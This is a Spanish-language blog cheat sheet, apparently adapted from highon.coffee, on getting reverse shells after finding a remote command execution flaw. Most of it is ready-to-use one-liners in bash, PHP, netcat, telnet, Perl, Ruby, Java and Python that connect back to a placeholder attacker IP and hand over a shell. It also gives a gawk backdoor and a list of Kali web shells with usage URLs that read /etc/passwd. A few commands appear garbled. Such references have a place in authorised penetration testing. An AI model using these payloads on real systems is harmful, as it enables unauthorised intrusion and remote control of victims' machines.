Cheat sheet de shell inversos (reverse shells)

Si tienes la suerte de encontrar una vulnerabilidad de ejecución remota de comandos (rce), seguro que querrás conectarse de nuevo a tu máquina atacante para usar un shell interactivo.
En el blog highon.coffee presentan una buena colección de shells inversos que podrás usar con los lenguajes de programación o los binarios instalados más comunes (nc, telnet, bash, etc).

Lo primero que debemos hacer es levantar un listener en la máquina atacante (a donde se conectará el shell inverso) en un puerto de salida que normalmente permiten los firewalls, por ejemplo el 80 o el 443.

root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...

Shell inverso en Bash
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done  

# or:

while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

Shell inverso en PHP

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Asume que TCP el descriptor 3. Si no funciona, prueba 4,5 o 6)

Shell inverso con Netcat

nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Shell inverso con Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
 
Shell inverso en Perl
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Shell inverso en Perl bajo Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Shell inverso en Ruby

ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Shell inverso en Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Shell inverso en Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Shell inverso con Gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

Shells inversos en Kali
Los siguientes shells están en Kali Linux bajo el directorio /usr/share/webshells/, muy útiles si puedes subirlos, inyectarlos o transferilos a la máquina de la víctima.


Kali PHP Web Shells

Comando    Descripción
./php/php-reverse-shell.php    Pen Test Monkey - Shell inverso PHP
./php/php-findsock-shell.php
findsock.c
   Pen Test Monkey, Findsock Shell. Compila gcc -o findsock findsock.c (ten en cuenta la arquitectura del servidor objetivo), ejecuta con netcat no con un navegador nc -v target 80
./php/simple-backdoor.php    Backdoor PHP, útil para la ejecución de comandos si puedes subir/ inyectar comandos, uso: http://target.com/simple-
backdoor.php?cmd=cat+/etc/passwd
./php/php-backdoor.php    Shell PHP más grande, con un cuadro de entrada de texto para la ejecución de comandos.
* Estos dos últimos realmente no son shells inversos, pero pueden ser útilies para ejecutarlos.
 

Kali Perl Reverse Shell

Comando    Descripción
./perl/perl-reverse-shell.pl    Pen Test Monkey - Perl Reverse Shell
./perl/perlcmd.cgi    Pen Test Monkey, Perl Shell. Uso: http://target.com/perlcmd.cgi?cat /etc/passwd

Kali Cold Fusion Shell

Comando    Descripción
./cfm/cfexec.cfm    Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

Comando    Descripción
./asp/    Kali ASP Shells

Kali ASPX Shells

Comando    Descripción
./aspx/    Kali ASPX Shells

Kali JSP Reverse Shell

Comando    Descripción
./jsp/jsp-reverse.jsp    Kali JSP Reverse Shell

Comentarios